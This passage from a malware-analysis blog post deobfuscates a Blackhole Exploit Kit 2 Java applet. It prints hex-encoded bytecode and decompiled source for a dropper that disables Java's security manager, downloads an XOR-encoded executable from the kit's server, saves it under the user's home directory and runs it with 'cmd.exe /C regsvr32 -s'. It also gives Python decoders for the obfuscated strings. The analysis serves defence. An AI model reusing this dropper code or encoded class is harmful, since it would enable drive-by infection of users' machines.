impossible_str17 = gouerpyftn(test2_str1 + test2_str2 + test2_str3 + test2_str4 + test2_str5 + test2_str6 + test2_str7 + test2_str8 + test2_str9 + test2_str10 + test2_str11 + test2_str12 + test2_str13 + test2_str14 + test2_str15 + test2_str16)

impossible_str27 = "}%{0%%8%F%{(2(((F%-%2Q%%2{gQ{%bgb%-%2Q%%"
impossible_str28 = "2(F((}Q((^2(F((}{((}%(2((2Agz%A%}2gQr}0%rQ%(%gQgbQ-%F{z20g"
impossible_str29 = "0%zQ(F(^(g%(0%2Qr(QgQg^%gQ82%gQ(F((^g((^}(2(((Fg}%20{(2}F}"
impossible_str30 = "2%QQ82%}ggg%-(2(((A%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}("
impossible_str31 = "2((gQgz%A%}2gQr}0%rQ%(%gQgbQ-%F{z({}{%Q%}2-}8gg%8Q(2Q2"
impossible_str32 = "(}A%zQ((}g2gb%2Qr}g}%}}%QQ-2z(F((^0((^{(2("
impossible_str33 = "(2(%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q0(Q((^%(F((^Q((^^("
impossible_str34 = "2((2}%-%2Q%%2gA%F%2%b%QgA0{Q^%}%{Q(Q0%8%A%"
impossible_str35 = "b(Q((^8(F((^-((^r(2((2(%-%2Q%%2gAQ{Q0%8%FgA{g%2%b%0%A%z"
impossible_str36 = "(F((^F((^z(2((2Q%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q"
impossible_str37 = "0gQ{%8%F%0%{Qg(F((^b((^A(2(((0%8%r%z2%(F(("
impossible_str38 = "^b((8((F((82((8g(2(((8}gQzQ((2QrgA%2Q^2%(F((8"
impossible_str39 = "}((80(2(((2gA(2(((F%-%2Q%%2gA%b%{Q0gA{{{g"
impossible_str40 = "0F(F((}Q((}^(F((8{((8%(Q((Qz(F((8Q((8^(2((20(0%2Qr(Q}(g8Q-}^"
impossible_str41 = "}Q}F}0QbQ-F(^(}F}}%QQ-2z(F((88((80(2(((0%8Q-Q^(}(F("
impossible_str42 = "(8-((8r(2(((0%8%-Q82A(2((2^%-%2Q%%2gA%8%AgA0%%8%F%{0A"
impossible_str43 = "Q{Q0Q(Q{Q0{}Q0Qg%{%2%z(Q((Qb(F((8F((8z(F((8b(("
impossible_str44 = "8A(F((-(((^2(Q((^((F((-2((-g(2((2(%-%2Q%%"
impossible_str45 = "2gA%F%2%b%QgA{}Q0Qg%8%b%Q(2(((Qg0%}Q2{z}(}A%r"
impossible_str46 = "(2(((g%^0z(2(((8}{%rQgF(^(g}}{}zgQ(2(((g%-Qz(F((-}((-"
impossible_str47 = "0(F((-{((-%(2(((Q%-%2Q%%2{gQ{%b(2((gQ%-%2Q"
impossible_str48 = "%%2gAQ}%{%}Q{Qg%8Q0Q8gA{(Qg%8Q%%8%F%{%Q%{"
impossible_str49 = "{Q^%}%{Q(Q0%8%A%b02%}Q0%8%A%b(2((2%%-%2Q%%2gA%b%{Q0"
impossible_str50 = "gA{{{g0F0}%A%b%b%{%}Q0%8%A%b(2((2}%-%2Q%%2"

test_str114 = gouerpyftn(impossible_str27 + impossible_str28 + impossible_str29 + impossible_str30 + impossible_str31 + impossible_str32 + impossible_str33 + impossible_str34 + impossible_str35 + impossible_str36 + impossible_str37 + impossible_str38 + impossible_str39 + impossible_str40 + impossible_str41 + impossible_str42 + impossible_str43 + impossible_str44 + impossible_str45 + impossible_str46 + impossible_str47 + impossible_str48 + impossible_str49 + impossible_str50)

impossible_str54 = "gA%8%AgA08%bQ(Q{Q0{}Q0Qg%{%2%z(2(((g{r0g(2((22%-%2"
impossible_str55 = "Q%%2gA%F%2%b%QgA{gQ{%bQ0%8%z%{(2(((}g^g8{%(2"
impossible_str56 = "(((Q%%%AQg0b%2%z%{(2((g{g^0F%-%2Q%%2gA%F%2%b%Qg"
impossible_str57 = "A{}Q0Qg%8%b%Q}rg80F%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}}r(2(((8%"
impossible_str58 = "Q%{Q00z%{Q0%^%A%0(2((0(g^0F%-%2Q%%2gA%F%2%b%QgA{"
impossible_str59 = "}Q0Qg%8%b%Q}r{r0F%-%2Q%%2gA%F%2%b%QgA0}%F%2Q}Q}}"
impossible_str60 = "rg80F%-%2Q%%2gA%F%2%b%QgAQg%{%%%F%{%}Q0gA0z%{Q0%^%A%0"
impossible_str61 = "}r(2((2^%-%2Q%%2gA%F%2%b%QgAQg%{%%%F%{%}Q0gA0z%"
impossible_str62 = "{Q0%^%A%0(2(((%%8%bQ%%A%r%{(2((}8g^0F%-%2Q%%2g"
impossible_str63 = "A%F%2%b%QgA0A%g%-%{%}Q0}r{r0F%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q"
impossible_str64 = "0}rg80F%-%2Q%%2gA%F%2%b%QgA0A%g%-%{%}Q0}r("
impossible_str65 = "2((2(%-%2Q%%2gA%F%2%b%QgA{}Q8Q}Q0%{%z(2((2gQ}%"
impossible_str66 = "{Q0{}%{%}Q{Qg%8Q0Q80z%2%b%2%Q%{Qg(2((2bg^0F%-%2Q%%2gA%F%2%b%"
impossible_str67 = "QgA{}%{%}Q{Qg%8Q0Q80z%2%b%2%Q%{Qg}rg8{%(2(((Q%b%{Q^Q008%bQ"
impossible_str68 = "0(2(((0g^08g808(2(((%%2Q(Q(%{%b%0(2((2Fg^08g80F%-%2Q%%2g"
impossible_str69 = "A%F%2%b%QgA{}Q0Qg%8%b%Q0gQ{%8%F%0%{Qg}r(2((gzg^0F%-%2Q"
impossible_str70 = "%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}rg80F%-%2Q%%2gA%F%2"
impossible_str71 = "%b%QgA{}Q0Qg%8%b%Q0gQ{%8%F%0%{Qg}r(2(((^Q0%A{}Q0Q"
impossible_str72 = "g%8%b%Q(2((20g^g80F%-%2Q%%2gA%F%2%b%QgA{"
impossible_str73 = "}Q0Qg%8%b%Q}r(2(((r%Q%{Q0{(Qg%AQ(%{QgQ0Q"
impossible_str74 = "8(2((g%g^0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b"
impossible_str75 = "%Q}rg80F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}r(2(((b%A"
impossible_str76 = "Q(%{%b0}%A%b%b%{%}Q0%8%A%b(2((2-g^g80F%-%2Q"
impossible_str77 = "%%2gA%b%{Q0gA{{{g"

test_str116 = gouerpyftn(impossible_str54 + impossible_str55 + impossible_str56 + impossible_str57 + impossible_str58 + impossible_str59 + impossible_str60 + impossible_str61 + impossible_str62 + impossible_str63 + impossible_str64 + impossible_str65 + impossible_str66 + impossible_str67 + impossible_str68 + impossible_str69 + impossible_str70 + impossible_str71 + impossible_str72 + impossible_str73 + impossible_str74 + impossible_str75 + impossible_str76 + impossible_str77)

impossible_str78 = "4C436F6E6E656374696F6E3B01000E676574496E707574"
impossible_str79 = "53747265616D01001728294C6A6176612F696F2F496E707574537472656"
impossible_str80 = "16D3B01000E6765744865616465724669656C6401000769"
impossible_str81 = "6E6465784F66010015284C6A6176612F6C616E672F537472696E67"
impossible_str82 = "3B294901000472656164010007285B42494929490100"
impossible_str83 = "057772697465010007285B4249492956010005636C6F736501000A6"
impossible_str84 = "7657452756E74696D6501001528294C6A6176612F6C616E672F5"
impossible_str85 = "2756E74696D653B01000465786563010028285B4C6A61766"
impossible_str86 = "12F6C616E672F537472696E673B294C6A6176612F6C616"
impossible_str87 = "E672F50726F636573733B010004657869740100042849295"
impossible_str88 = "60100095A4B4D352E342E3561010001620100015A01000163"
impossible_str89 = "0C00AA00A909003300AB0100017A0100135B4C6A6176612F6C616E672F53"
impossible_str90 = "7472696E673B0100083C636C696E69743E0C00B100B201000B7"
impossible_str91 = "46F43686172417272617901000428295B430A002C0"
impossible_str92 = "0B00C003700B5010005285B4329560A002C00B40C0"
impossible_str93 = "0B80092010006696E7465726E0A002C00B70C00AD00AE0900"
impossible_str94 = "3300BA0700BD0100146A6176612F696F2F53657269616C697A6162"

test_str95 = "6C650700AE0700AE0700AE0700AE0700AE0700AE0700AE0"
test_str96 = "700AE0700AE0700AE0700AE0700AE0700AE0700AE070"
test_str97 = "0AE0700AE0700AE0700AE0700AE0700AE0700AE0700AE0700AE07"
test_str98 = "00AE0700AE0700AE0700AE0700AE0700DB0100025B430700AE0700AE070"
test_str99 = "0DB0700DB0700AE0700AE0700DB0700DB0700AE0700AE0700DB0"
test_str100 = "700DB0700AE0700AE0700DB0700DB0700AE0700AE0700DB0700D"
test_str101 = "B0700AE0700AE0700DB0700DB0700AE0700AE0700DB0700DB0700"
test_str102 = "AE0700AE0700DB002100330009000100340004000"
test_str103 = "0003500360000000900A800A90000000900AA00A900000"
test_str104 = "01A00AD00AE00000003000100370038000100390000008A00070003"
test_str105 = "000000412AB700012A2BB50002B200BB0332B80004B200BB053204BD0006"
test_str106 = "5903B200BB0432B8000453B60008B200BB0332B8000404"
test_str107 = "BD000959032A53B6000A57A700044DB100010009003C003F0"
test_str108 = "00B0002003A000000160005000000250004000E00090"
test_str109 = "00B003C002700400006003B000000130002FF003F0002070033070"
test_str110 = "02C000107000B000001003F0040000200390000047"
test_str111 = "30008001100000223B200AC361001B8000CBB000D59B7000E4C"
test_str112 = "120F2B1210B60011603D"

test_str119 = impossible_str78 + impossible_str79 + impossible_str80 + impossible_str81 + impossible_str82 + impossible_str83 + impossible_str84 + impossible_str85 + impossible_str86 + impossible_str87 + impossible_str88 + impossible_str89 + impossible_str90 + impossible_str91 + impossible_str92 + impossible_str93 + impossible_str94 + test_str95 + test_str96 + test_str97 + test_str98 + test_str99 + test_str100 + test_str101 + test_str102 + test_str103 + test_str104 + test_str105 + test_str106 + test_str107 + test_str108 + test_str109 + test_str110 + test_str111 + test_str112

asd_str122 = "ZZ001259Z700131CZ60014Z200ZZ100632Z60016Z600174EZZ001259Z70013Z200ZZ0732Z80019Z60016121AZ60016Z600173A04ZZ001259Z700132AZ40002Z6001ZZ600161CZ60014Z600173A05ZZ001C591905Z7001D3A061906Z6001E3A071907Z6001F3A080336091907Z200ZZ100A32Z600213A0A190A15109A000CC60058A70004ZF190AZ200ZZ100932Z6002315109A002Z02A00022A70004ZF190AZ200ZZ0632Z6002315109A0014A70004ZF029F0025A70004ZF04A70004ZF3609ZZ001259Z700131CZ60014Z200ZZ0632Z60016Z600174EZZ002559ZZ001259Z700131904Z600162DZ60016Z".replace("Z", "B")
asd_str123 = "60017B700263A0B110400BC083A0D1C360E1908190D03190DBEB6002759360C029F005115109A005603360F150F150CA20033150E1100AA601100FF7E360E150E104882360E190D150F5C33150E91829154840F0115109A0016151099FFD0A70004BF190B190D03150CB60028151099FFA31908B60029190BB6002AB8002B3A0F15109A00531509990053A70004BF190F08BD002C5903B200BB100732535904B200BB0832535905B200BB100B32535906B200BB100832535907BB001259B700131904B600162DB60016B6001753B6003157A70004BF1510990038190F06BD002C5903B200BB100732535904B200BB0832535905BB001259B700131904B600162DB60016B6001753B6003157A70004BF03B80032A700084C03B8003201B0000A01DB02110214000B018D01D701DA000B018601900193000B014B01640167000B00CC00D400D7000B00BA00CF00D2000B00B100C700CA000B00A200B400B7000B0092009C009F000B00050219021C000B0002003A0000009200240005001A0009002800110016001B001100330005004F00120069001800740010007B0013008200150085000F0092001E00A0002600D3001B00DA002400F10022010D000A0"
asd_str124 = "114001401170004012900170138000C0144001D014B0021015700290168002001770019017C00090181001C0186001F0194000D01E000010215000302190002021C0007021D000802210023003B00000156001CFF009F001107003307000D0107002C07002C07002C07001C0700430700440107002C000000000001000107000B004107002C5407000B005107000B40014607000B004307000B400118FF0025001107003307000D0107002C07002C07002C07001C0700430700440107002C070025000700460100010000FF0019001107003307000D0107002C07002C07002C07001C0700430700440107002C0700250107004601010100007507000B0009FF0004001107003307000D0107002C07002C07002C07001C0700430700440107002C07002501070046010001000009FF0011001107003307000D0107002C07002C07002C07001C0700430700440107002C070025010700460107004701000107000B00F7004507000B00047307000B00FF0006001107003300000000000000000000000000000001000107000BFF000400110700330700BC00000000000000000000000000000100000048000000040001000B000800AF00810001003900000305000C00010000012D100CBD002C5903120310FFA70078535904120703A7006F535905120504A70066535906122405A7005D535907121806A70054535908122E07A7004B53591006121508A7004153591007122D1006A700365359100812301007A7002B5359100912221008A700205359100A12201009A700155359100B122F100AA7000A53B300BBA700AC5FB600B359BE5F033B5F5A04A3004F591A5C341A0870AA00000000003300000000000000030000001F00000024000000290000002E1047A70014100EA7000F1015A7000A1073A7000510558292558400015F5A9A00085C5FA7FFB95F5A1AA3FFB1BB002C5A5FB700B6B600B95F575FAA00FFFFFF1C000000000000000AFFFFFF25FFFFFF2EFFFFFF37FFFFFF40FFFFFF49FFFFFF53FFFFFF5EFFFFFF69FFFFFF74FFFFFF7FFFFFFF8AB100000001003B000001C60017FF000E00010100040700BE0700BF0107002CFF000800010100040700C00700C10107002CFF000800010100040700C20700C30107002CFF000800010100040700C40700C50107002CFF000800010100040700C60700C70107002CFF000800010100040700C80700C90107002CFF000900010100040700CA0700CB0107002CFF000A00010100040700CC0700CD0107002CFF000A00010100040700CE0700CF0107002CFF000A00010100040700D00700D10107002CFF000A00010100040700D20700D30107002CFF000A00010100040700D40700D50107002CFF0006000000050700D60700D70107002C01FF000E00010100060700D80700D90101010700DAFF000100010100080700DC0700DD0101010700DE0700DF01FF002300010100090700E00700E10101010700E20700E30101FF000400010100090700E40700E50101010700E60700E70101FF000400010100090700E80700E90101010700EA0700EB0101FF000400010100090700EC0700ED0101010700EE0700EF0101FF000400010100090700F0"
asd_str125 = "0700F10101010700F20700F30101FF0001000101000A0700F40700F50101010700F60700F7010101FF000F00010100060700F80700F90101010700FAFB004D0001004900000002004A"


codehex_aa = "(?i).j";
asd_zxc = "xe"
asd_zxc2 = ".e"

#hw_str12 = aaz().replace("?jar", ".exe") + "?"

def main():
  abyte0 = decodeH(one())
  print abyte0

if __name__ == "__main__":
    main()


Run the script and it will print Java Bytecode for the class the Bad Guys want to run on your system(Thrugh the exploitation of the MBeanInstantiator bug they can now call restricted classes)
redirect the output to a .class file. e.g.

$python decode_blachole.py > bhclass.class


Ok so where are we at? Well at this time we are probably hungry, so open a tin of SPAM, enjoy and move on.

5. Back to Java disassembly again

The bytecode needs to be disassembled so back to jad or showmycode.com. And we get the output:

import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLConnection;
import java.security.PrivilegedExceptionAction;
import java.util.Random;

public class javaRun
    implements PrivilegedExceptionAction
{

    public javaRun(String s)
    {
        a = s;
        try
        {
            Class.forName(z[0]).getMethod(z[2], new Class[] {
                Class.forName(z[1])
            }).invoke(Class.forName(z[0]), new Object[] {
                this
            });
        }
        catch(Exception exception) { }
    }

    public Object run()
        throws Exception
    {
        boolean flag = c;
        int i;
        String s;
        String s1;
        InputStream inputstream;
        int j;
        String s3;
        System.setSecurityManager(null);
        Random random = new Random();
        i = 0xf4240 + random.nextInt(0x7a1200);
        s = (new StringBuilder()).append(i).append(z[6]).toString();
        s1 = (new StringBuilder()).append(System.getProperty(z[4])).append("/").toString();
        String s2 = (new StringBuilder()).append(a.toString()).append(i).toString();
        URL url = new URL(s2);
        URLConnection urlconnection = url.openConnection();
        inputstream = urlconnection.getInputStream();
        j = 0;
        s3 = urlconnection.getHeaderField(z[10]);
        s3;
        if(flag) goto _L2; else goto _L1
_L1:
        if(s3 == null)
            break MISSING_BLOCK_LABEL_241;
          goto _L3
        throw ;
_L3:
        s3;
_L2:
        z[9];
        indexOf();
        if(flag)
            break MISSING_BLOCK_LABEL_216;
        -1;
        JVM INSTR icmpne 211;
           goto _L4 _L5
_L4:
        break MISSING_BLOCK_LABEL_184;
_L5:
        break MISSING_BLOCK_LABEL_211;
        throw ;
        s3;
        z[3];
        indexOf();
        if(flag)
            break MISSING_BLOCK_LABEL_216;
        break MISSING_BLOCK_LABEL_203;
        throw ;
        -1;
        JVM INSTR icmpeq 241;
           goto _L6 _L7
_L6:
        break MISSING_BLOCK_LABEL_211;
_L7:
        break MISSING_BLOCK_LABEL_241;
        throw ;
        throw ;
        j = 1;
        s = (new StringBuilder()).append(i).append(z[3]).toString();
        FileOutputStream fileoutputstream;
        byte abyte0[];
        int l;
        fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
        abyte0 = new byte[1024];
        l = i;
_L11:
        int k;
        int i1;
        if((k = inputstream.read(abyte0, 0, abyte0.length)) == -1)
            break; /* Loop/switch isn't completed */
        if(flag)
            break MISSING_BLOCK_LABEL_385;
        i1 = 0;
_L9:
        if(i1 >= k)
            break; /* Loop/switch isn't completed */
        l = l + 170 & 0xff;
        l ^= 0x48;
        abyte0[i1] ^= (byte)l;
        i1++;
        if(flag)
            continue; /* Loop/switch isn't completed */
        if(!flag) goto _L9; else goto _L8
        throw ;
_L8:
        fileoutputstream.write(abyte0, 0, k);
        if(!flag) goto _L11; else goto _L10
_L10:
        inputstream.close();
        fileoutputstream.close();
        Runtime runtime = Runtime.getRuntime();
        if(flag)
            break MISSING_BLOCK_LABEL_475;
        j;
        JVM INSTR ifeq 480;
           goto _L12 _L13
_L12:
        break MISSING_BLOCK_LABEL_404;
_L13:
        break MISSING_BLOCK_LABEL_480;
        throw ;
        runtime.exec(new String[] {
            z[7], z[5], z[11], z[8], (new StringBuilder()).append(s1).append(s).toString()
        });
        break MISSING_BLOCK_LABEL_475;
        throw ;
        if(!flag)
            break MISSING_BLOCK_LABEL_533;
        runtime.exec(new String[] {
            z[7], z[5], (new StringBuilder()).append(s1).append(s).toString()
        });
        break MISSING_BLOCK_LABEL_533;
        throw ;
        System.exit(0);
        break MISSING_BLOCK_LABEL_545;
        Exception exception;
        exception;
        System.exit(0);
        return null;
    }

    String a;
    public static boolean b;
    public static boolean c;
    private static final String z[];

    static 
    {
        String as[] = new String[12];
        as;
        as;
        0;
        "-oc\022{4kv\006'.zl]\024$mp\000&\004a{\007'(by\026'";
        -1;
          goto _L1
_L7:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        true;
        "-oc\022{4kv\006'.zl]\0055gc\0329\"ip\027\020?mp\003!.a{263gz\035";
        false;
          goto _L1
_L8:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        2;
        "#aE\001<1gy\0262\"j";
        true;
          goto _L1
_L9:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        3;
        "ijy\037";
        2;
          goto _L1
_L10:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        4;
        "2}p\001{/ax\026";
        3;
          goto _L1
_L11:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        5;
        "hM";
        4;
          goto _L1
_L12:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        6;
        "ikm\026";
        5;
          goto _L1
_L13:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        7;
        "$cq]0?k";
        6;
          goto _L1
_L14:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        8;
        "j}";
        7;
          goto _L1
_L15:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        9;
        "izx\003";
        8;
          goto _L1
_L16:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        10;
        "\004a{\0070)z87<4~z\000<3gz\035";
        9;
          goto _L1
_L17:
        JVM INSTR aastore ;
        JVM INSTR dup ;
        11;
        "5kr\000#5='";
        10;
          goto _L1
_L18:
        JVM INSTR aastore ;
        z;
_L1:
        JVM INSTR swap ;
        toCharArray();
        JVM INSTR dup ;
        JVM INSTR arraylength .length;
        JVM INSTR swap ;
        int i = 0;
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        1;
        JVM INSTR icmpgt 222;
           goto _L2 _L3
_L2:
        JVM INSTR dup ;
        i;
_L5:
        JVM INSTR dup2 ;
        JVM INSTR caload ;
        byte byte0;
        switch(i % 5)
        {
        case 0: // '\0'
            byte0 = 0x47;
            break;

        case 1: // '\001'
            byte0 = 14;
            break;

        case 2: // '\002'
            byte0 = 21;
            break;

        case 3: // '\003'
            byte0 = 115;
            break;

        default:
            byte0 = 85;
            break;
        }
        byte0;
        JVM INSTR ixor ;
        (char);
        JVM INSTR castore ;
        i++;
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        JVM INSTR ifne 222;
           goto _L4 _L3
_L4:
        JVM INSTR dup2 ;
        JVM INSTR swap ;
          goto _L5
_L3:
        JVM INSTR swap ;
        JVM INSTR dup_x1 ;
        i;
        JVM INSTR icmpgt 146;
           goto _L6 _L2
_L6:
        JVM INSTR new #44  <Class String>;
        JVM INSTR dup_x1 ;
        JVM INSTR swap ;
        String();
        intern();
        JVM INSTR swap ;
        JVM INSTR pop ;
        JVM INSTR swap ;
        JVM INSTR tableswitch 0 10: default 14
    //                   0 23
    //                   1 32
    //                   2 41
    //                   3 50
    //                   4 59
    //                   5 69
    //                   6 80
    //                   7 91
    //                   8 102
    //                   9 113
    //                   10 124;
           goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15 _L16 _L17 _L18
    }
}

Crap!!! what is this all about. This should be a happy ending where we had a nice and shiny class file disassembled but instead this code really got me wondering. I'm no Java Ken Guru, but this one beat me up. Luckily there is a lot of people knowing more than me about this and I found a great post about what this was here @ Security Obscurity Blog and even more @ The PlayGround.dk,

6. Introducing the Zelix Klassmaster 

 - Or what I would call it: "The Spanish Inquisition" youtube


So more work to do: I justed followed Mr. Larsens guide and came up with, well a Python script to decrypt The Spanish Inquisition, eh, Zelix Klassmaster encrypted strings:
#malforsec decrypt Spannish Inquisition encrypted strings 0.9.1
def decode(str1):
  decrstr = ""
  key = [71, 14, 21, 115, 85]
  for i in range(0, len(str1), 1):
    decrstr += chr((ord(str1[i])) ^ (key[i % 5]))
  return decrstr

encstr = ["-oc\022{4kv\006'.zl]\024$mp\000&\004a{\007'(by\026'",
          "-oc\022{4kv\006'.zl]\0055gc\0329\"ip\027\020?mp\003!.a{263gz\035",
          "#aE\001<1gy\0262\"j",
          "ijy\037",
          "2}p\001{/ax\026",
          "hM",
          "ikm\026",
          "$cq]0?k",
          "j}",
          "izx\003",
          "\004a{\0070)z87<4~z\000<3gz\035",
          "5kr\000#5='"]

def main():
  for i in range(0, len(encstr), 1):
    print decode(encstr[i])

if __name__ == "__main__":
    main()

So lets run the script and voila:

java.security.AccessController
java.security.PrivilegedExceptionAction
doPrivileged
.dll
user.home
/C
.exe
cmd.exe
-s
.tmp
Content-Disposition
regsvr32

7. Back to the Applet code hw.class:

Line 47:

String str12 = d.get(this);
str12 = (new StringBuilder(String.valueOf(Asd.aaz().replaceAll((new StringBuilder(String.valueOf(codehex.aa))).append("ar").toString(), (new StringBuilder(String.valueOf(Asd.zxc2))).append(Asd.zxc).toString())))).append("?").toString();
        }
        return str12;
    }
codehex strings:
public static String aa = "(?i).j";
Asd strings:
public static String zxc = "xe";
public static String zxc2 = ".e";
Asd.aaz():
public static String aaz()
        throws Exception
    {
        Class cc = hw;
        String classFilename = "hw.class";
        String urlToJar = cc.getResource(classFilename).toString();
        Method m = java/lang/String.getMethod("replaceAll", new Class[] {
            java/lang/String, java/lang/String
        });
        urlToJar = (String)m.invoke(urlToJar, new Object[] {
            "jar:", ""
        });
        urlToJar = urlToJar.replaceAll("!/hw.class", "");
        return urlToJar;
    }


This method, to me, looks like it is finding the URL or place that the hw.class/ jar was loaded. Replaceing hw.class with nothing nad jar with exe. In short we get the URL to the exe file, which is fed into the class we discussed above.

With the deobfuscation of the class files and decrypted strings we can see what the final class does:

import java.io.*;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLConnection;
import java.security.PrivilegedExceptionAction;
import java.util.Random;

public class javaRun
    implements PrivilegedExceptionAction
{

    public javaRun(String s)
    {
        a = s;
        try
        {
            Class.forName(java.security.AccessController).getMethod(doPrivileged, new Class[] {
                Class.forName(java.security.PrivilegedExceptionAction)
            }).invoke(Class.forName(java.security.AccessController), new Object[] {
                this
            });
        }
        catch(Exception exception) { }
    }

    public Object run()
        throws Exception
    {
        boolean flag = c;
        int i;
        String s;
        String s1;
        InputStream inputstream;
        int j;
        String s3;
        System.setSecurityManager(null);
        Random random = new Random();
        i = 0xf4240 + random.nextInt(0x7a1200);
        s = (new StringBuilder()).append(i).append(".exe").toString();
        s1 = (new StringBuilder()).append(System.getProperty("user.home")).append("/").toString();
        String s2 = (new StringBuilder()).append(a.toString()).append(i).toString();
        URL url = new URL(s2);
        URLConnection urlconnection = url.openConnection();
        inputstream = urlconnection.getInputStream();
        j = 0;
        s3 = urlconnection.getHeaderField("Content-Disposition");
                s = (new StringBuilder()).append(i).append(".dll").toString();
        fileoutputstream = new FileOutputStream((new StringBuilder()).append(s1).append(s).toString());
        abyte0 = new byte[1024];
        l = i;
        int k;
        int i1;
        if((k = inputstream.read(abyte0, 0, abyte0.length)) == -1)   
        i1 = 0;
        l = l + 170 & 0xff;
        l ^= 0x48;
        abyte0[i1] ^= (byte)l;
        i1++;
        fileoutputstream.write(abyte0, 0, k);
        inputstream.close();
        fileoutputstream.close();
        Runtime runtime = Runtime.getRuntime();
        runtime.exec(new String[] {
            "cmd.exe", "/C", "regsvr32", "-s", (new StringBuilder()).append(s1).append(s).toString()
        });
        runtime.exec(new String[] {
            "cmd.exe", "/C", (new StringBuilder()).append(s1).append(s).toString()
        });
        return null;
    }

8. The End

My conclusion is that the exe is loaded from the same URL base as the JAR archive was loaded from. Its written to disk under user.home. It registrers a service silently(cmd.exe /C regsrv32 -S) and executes the exe file(cmd.exe /C )

I'm not sure if the XOR of the one byte of abyte0 is used in the code. Hopefully I can confirm that the next time I download a BHEK2 JAR archive. 


Feedback are welcome! So please enlighten me on any misinterpretation. You are of course welcome to use any Python code should it interset you.



Happy BHEK2 JAR archives deobfuscation :)